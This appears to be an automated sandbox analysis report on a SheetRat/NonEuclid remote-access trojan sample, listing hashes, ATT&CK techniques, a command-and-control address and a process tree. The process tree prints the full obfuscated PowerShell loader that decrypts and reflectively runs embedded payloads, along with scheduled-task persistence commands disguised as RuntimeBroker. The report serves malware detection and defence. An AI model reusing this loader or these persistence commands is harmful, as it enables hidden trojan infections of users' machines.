sheetrat | cad2fc64b6c71db259564cac4dbfe8fc59f3cb0a75845a9858c1eaa1d1ddcb39

Analysis

max time kernel
5s
max time network
42s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 14:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Client.bat
Size 619KB
Sample261002-rel83ssvdy
SHA256 cad2fc64b6c71db259564cac4dbfe8fc59f3cb0a75845a9858c1eaa1d1ddcb39
MD5 37956ecd8384a87a506f9909e957fac6
SHA1 9812d8689b2e435c3953364b6d880023afd9ff32
SHA512 ef5743db89ab993b12d17eb110c4e2d7f3bd1a3621b9577e47960b8c4bfe4a4de4cdb2dcbc67a702693ae3643895ba18e827e550b69093651c1fc9b347edfd14
SSDEEP 12288:zYvFgtQew+AffR4s6LcaT5RrH/TZ0cdnmE3zOtNPNLf0KkO:0H6yfeLc0Rrf1Z38P9f0k
TLSH
T1F5D4013FEF94D55EA422F8ADF8A72D85974F0F904EE95A59AFE01845284018B3FF005E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

sheet_wvnkneyyxn execution sheetrat persistence trojan

Malware Config

Extracted

Family

sheetrat

Version

2.6.4

Campaign

Sheet_wvnkneyyxn

31.76.11.162:2000

Signatures

Family: Sheetrat, NonEuclid rat
Sheetrat aka NonEuclid RAT is a trojan written in C#.
trojan sheetrat

Detects Sheetrat obfuscated V1.8 and higher 1 IoCs

Sheetrat aka NonEuclid RAT is a trojan written in C#.

resource	yara_rule
behavioral2/memory/2800-42-0x000001D06E710000-0x000001D06E7BC000-memory.dmp	family_sheetrat_v4

Detects Sheetrat obfuscated version 1 IoCs

resource	yara_rule
behavioral2/memory/2800-42-0x000001D06E710000-0x000001D06E7BC000-memory.dmp	Sheetrat_v5

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
612	powershell.exe
5840	powershell.exe
2800	powershell.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4148	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5360	CMD.exe
5860	cmd.exe
1644	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5016	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
612	powershell.exe
612	powershell.exe
5840	powershell.exe
5840	powershell.exe
5840	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	612	powershell.exe
Token: SeDebugPrivilege	5840	powershell.exe
Token: SeIncreaseQuotaPrivilege	5840	powershell.exe
Token: SeSecurityPrivilege	5840	powershell.exe
Token: SeTakeOwnershipPrivilege	5840	powershell.exe
Token: SeLoadDriverPrivilege	5840	powershell.exe
Token: SeSystemProfilePrivilege	5840	powershell.exe
Token: SeSystemtimePrivilege	5840	powershell.exe
Token: SeProfSingleProcessPrivilege	5840	powershell.exe
Token: SeIncBasePriorityPrivilege	5840	powershell.exe
Token: SeCreatePagefilePrivilege	5840	powershell.exe
Token: SeBackupPrivilege	5840	powershell.exe
Token: SeRestorePrivilege	5840	powershell.exe
Token: SeShutdownPrivilege	5840	powershell.exe
Token: SeDebugPrivilege	5840	powershell.exe
Token: SeSystemEnvironmentPrivilege	5840	powershell.exe
Token: SeRemoteShutdownPrivilege	5840	powershell.exe
Token: SeUndockPrivilege	5840	powershell.exe
Token: SeManageVolumePrivilege	5840	powershell.exe
Token: 33	5840	powershell.exe
Token: 34	5840	powershell.exe
Token: 35	5840	powershell.exe
Token: 36	5840	powershell.exe
Token: SeIncreaseQuotaPrivilege	5840	powershell.exe
Token: SeSecurityPrivilege	5840	powershell.exe
Token: SeTakeOwnershipPrivilege	5840	powershell.exe
Token: SeLoadDriverPrivilege	5840	powershell.exe
Token: SeSystemProfilePrivilege	5840	powershell.exe
Token: SeSystemtimePrivilege	5840	powershell.exe
Token: SeProfSingleProcessPrivilege	5840	powershell.exe
Token: SeIncBasePriorityPrivilege	5840	powershell.exe
Token: SeCreatePagefilePrivilege	5840	powershell.exe
Token: SeBackupPrivilege	5840	powershell.exe
Token: SeRestorePrivilege	5840	powershell.exe
Token: SeShutdownPrivilege	5840	powershell.exe
Token: SeDebugPrivilege	5840	powershell.exe
Token: SeSystemEnvironmentPrivilege	5840	powershell.exe
Token: SeRemoteShutdownPrivilege	5840	powershell.exe
Token: SeUndockPrivilege	5840	powershell.exe
Token: SeManageVolumePrivilege	5840	powershell.exe
Token: 33	5840	powershell.exe
Token: 34	5840	powershell.exe
Token: 35	5840	powershell.exe
Token: 36	5840	powershell.exe
Token: SeIncreaseQuotaPrivilege	5840	powershell.exe
Token: SeSecurityPrivilege	5840	powershell.exe
Token: SeTakeOwnershipPrivilege	5840	powershell.exe
Token: SeLoadDriverPrivilege	5840	powershell.exe
Token: SeSystemProfilePrivilege	5840	powershell.exe
Token: SeSystemtimePrivilege	5840	powershell.exe
Token: SeProfSingleProcessPrivilege	5840	powershell.exe
Token: SeIncBasePriorityPrivilege	5840	powershell.exe
Token: SeCreatePagefilePrivilege	5840	powershell.exe
Token: SeBackupPrivilege	5840	powershell.exe
Token: SeRestorePrivilege	5840	powershell.exe
Token: SeShutdownPrivilege	5840	powershell.exe
Token: SeDebugPrivilege	5840	powershell.exe
Token: SeSystemEnvironmentPrivilege	5840	powershell.exe
Token: SeRemoteShutdownPrivilege	5840	powershell.exe
Token: SeUndockPrivilege	5840	powershell.exe
Token: SeManageVolumePrivilege	5840	powershell.exe
Token: 33	5840	powershell.exe
Token: 34	5840	powershell.exe
Token: 35	5840	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5860 wrote to memory of 5664	5860	cmd.exe	90
PID 5664 wrote to memory of 4340	5664	net.exe	91
PID 5860 wrote to memory of 612	5860	cmd.exe	92
PID 612 wrote to memory of 5840	612	powershell.exe	94
PID 612 wrote to memory of 4148	612	powershell.exe	96
PID 4148 wrote to memory of 1644	4148	WScript.exe	97
PID 1644 wrote to memory of 428	1644	cmd.exe	99
PID 428 wrote to memory of 5320	428	net.exe	100

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5860
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5664
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:4340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tqehy/OPA64ZDSVWWJUmSdIdYcGDoDtwRxo/3Em4F6Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1Xivw9y02RH5V4guJYoM3Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $iugDO=New-Object System.IO.MemoryStream(,$param_var); $nahbO=New-Object System.IO.MemoryStream; $rXcmw=New-Object System.IO.Compression.GZipStream($iugDO, [IO.Compression.CompressionMode]::Decompress); $rXcmw.CopyTo($nahbO); $rXcmw.Dispose(); $iugDO.Dispose(); $nahbO.Dispose(); $nahbO.ToArray();}function execute_function($param_var,$param2_var){ $TueZj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vjBbz=$TueZj.EntryPoint; $vjBbz.Invoke($null, $param2_var);}$FPgRa = 'C:\Users\Admin\AppData\Local\Temp\Client.bat';$host.UI.RawUI.WindowTitle = $FPgRa;$IcdfV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FPgRa).Split([Environment]::NewLine);foreach ($LyzSO in $IcdfV) { if ($LyzSO.StartsWith(':: ')) { $yKaee=$LyzSO.Substring(3); break; }}$payloads_var=[string[]]$yKaee.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_248_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_248.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5840
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_248.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:4148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_248.bat" "
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1644
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:428
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:5320
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tqehy/OPA64ZDSVWWJUmSdIdYcGDoDtwRxo/3Em4F6Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1Xivw9y02RH5V4guJYoM3Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $iugDO=New-Object System.IO.MemoryStream(,$param_var); $nahbO=New-Object System.IO.MemoryStream; $rXcmw=New-Object System.IO.Compression.GZipStream($iugDO, [IO.Compression.CompressionMode]::Decompress); $rXcmw.CopyTo($nahbO); $rXcmw.Dispose(); $iugDO.Dispose(); $nahbO.Dispose(); $nahbO.ToArray();}function execute_function($param_var,$param2_var){ $TueZj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vjBbz=$TueZj.EntryPoint; $vjBbz.Invoke($null, $param2_var);}$FPgRa = 'C:\Users\Admin\AppData\Roaming\startup_str_248.bat';$host.UI.RawUI.WindowTitle = $FPgRa;$IcdfV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FPgRa).Split([Environment]::NewLine);foreach ($LyzSO in $IcdfV) { if ($LyzSO.StartsWith(':: ')) { $yKaee=$LyzSO.Substring(3); break; }}$payloads_var=[string[]]$yKaee.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2800
      - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "RuntimeBroker.exe" /tr "C:\Windows\Sub\RuntimeBroker.exe" & exit
        6⤵
        Executes a command shell one-liner
        
        PID:5360
        
        C:\Windows\system32\schtasks.exe
        
        SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "RuntimeBroker.exe" /tr "C:\Windows\Sub\RuntimeBroker.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5016

C:\Users\Admin\AppData\Roaming\Sub\xdwdRuntimeBroker.exe
C:\Users\Admin\AppData\Roaming\Sub\xdwdRuntimeBroker.exe
1⤵
PID:3256

C:\Windows\Sub\RuntimeBroker.exe
C:\Windows\Sub\RuntimeBroker.exe
1⤵
PID:4092

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 404a4f06df3e2185a039cd6a1696c382f2423285f7b1b23772c7b7184eabcfae
MD5 3290610713bd2c8686d1b56ea1b9d3b5
SHA1 22e4d398f0b0e9f957e8f9416522bca20f978036
SHA512 f991be9e0bbaf5280419f11fe3a1136539188282f1170d5fac7557cd4341c87ce1443ede4a71e45e1c3ac49c9069cd9cda0c3483c0802fb9ab567ff9e1098c6e
SSDEEP 1536:RzQmcGCw2haovffKQNEYxflJdpXYeinHzwrJ40i7gigMkdGWMrxmZi3j39MVvjQQ:RzQmcGCw2haovffKQNEYxflJdlYvnHzA
TLSH
T101636292E9204E75E1A66F3EF15622627D30394690F8113211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd235f2b3dab370c9c762f51ee2474064513ae852dd8e8792e5c98d8ba3002f5
MD5 4f522d7794d61cd262e593d8b59e2209
SHA1 b6e97306e0d16de4d993fd664c7b6df5d153e579
SHA512 344cd4ecfb99e6c63d6816fd7dc57c7bed8b9f882a7fd6310b94519846b2cbf33cc5fd3cac8d2e45d49494823384fdae0a7dba2e3587c09f4369cd3645ecd549
TLSH
T134214673B3CC8616D899413650CEAC1037B687DB40EFCE5BAB85D654B53F599CEA01A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_au5v4xsq.lx3.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_au5v4xsq.lx3.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

startup_str_248.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_248.vbs
Size 115B
SHA256 8acc6c79f94d5ea50a02bd7aea5a11072e1680c858c5f1f88e7b4543847b0081
MD5 edf9906f8771607dca50bab144c9a1fd
SHA1 6e3d7fc505c23ad51a36e2329867655f954f5c99
SHA512 ce22ca97b3883e01964b47a6678336f0affb8f68c0d3a37396a8e001c03df81f029a6f1ab523c82f145078c4c1640faf9447de8334fadc4cd1bcbead102d8983
TLSH
T19BB092392289898B290551B32B72840C89A089802684ABA5CA0085ED10B8508B9D6003
MD5 SHA1 SHA512 TLSH

Submit Download

xdwd.dll

Path C:\Windows\xdwd.dll
Size 136KB
SHA256 7439711d5b9402063393c1b449acf310c58963db13e8658187e49bd01cf1c30f
MD5 df2a63b39aaad3352168f123e70c4fbe
SHA1 b660910117f6ce5366b221efb4cefc96904d28a7
SHA512 170c893a195d4c7589a766432ba1e59f3b4d4f9f0aa4686baf47827cdeb9f78ac3e95397a7627624120aea69e8890e7d8b0555ba35e6832ceb575eddb1f0e9c8
SSDEEP 3072:L0iw+jLyDcqaH9a6DFHo6MjD7VbZaZaZ8Xwlk4G2PZpt:L08yDSvdoRj2cp
TLSH
T110D35A0772A600BFE1668638C5630A09D777B8211770DBAF33A4429D9F277E19D3AF61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/612-10-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-8-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-0-0x00007FF87934F000-0x00007FF879350000-memory.dmp

Download

memory/612-11-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-12-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-13-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-14-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-15-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-16-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-18-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-17-0x00000163F4700000-0x00000163F4708000-memory.dmp

Download

memory/612-19-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-20-0x00000163F4A90000-0x00000163F4B06000-memory.dmp

Download

memory/612-9-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-3-0x00000163F49E0000-0x00000163F4A02000-memory.dmp

Download

memory/612-4-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-5-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-43-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-7-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/612-6-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

Download

memory/2800-42-0x000001D06E710000-0x000001D06E7BC000-memory.dmp

Download

memory/3256-229-0x00007FF8936C0000-0x00007FF8936E2000-memory.dmp

Download

memory/3256-243-0x000001E8DF150000-0x000001E8DF198000-memory.dmp

Download

memory/3256-323-0x00007FF8936C0000-0x00007FF8936E2000-memory.dmp

Download

memory/5840-29-0x00000174FFC60000-0x00000174FFC7E000-memory.dmp

Download

memory/5840-28-0x00000174FE430000-0x00000174FE43A000-memory.dmp

Download

memory/5840-27-0x0000017498AF0000-0x0000017498BA2000-memory.dmp

Download

memory/5840-26-0x0000017498810000-0x000001749882E000-memory.dmp

Download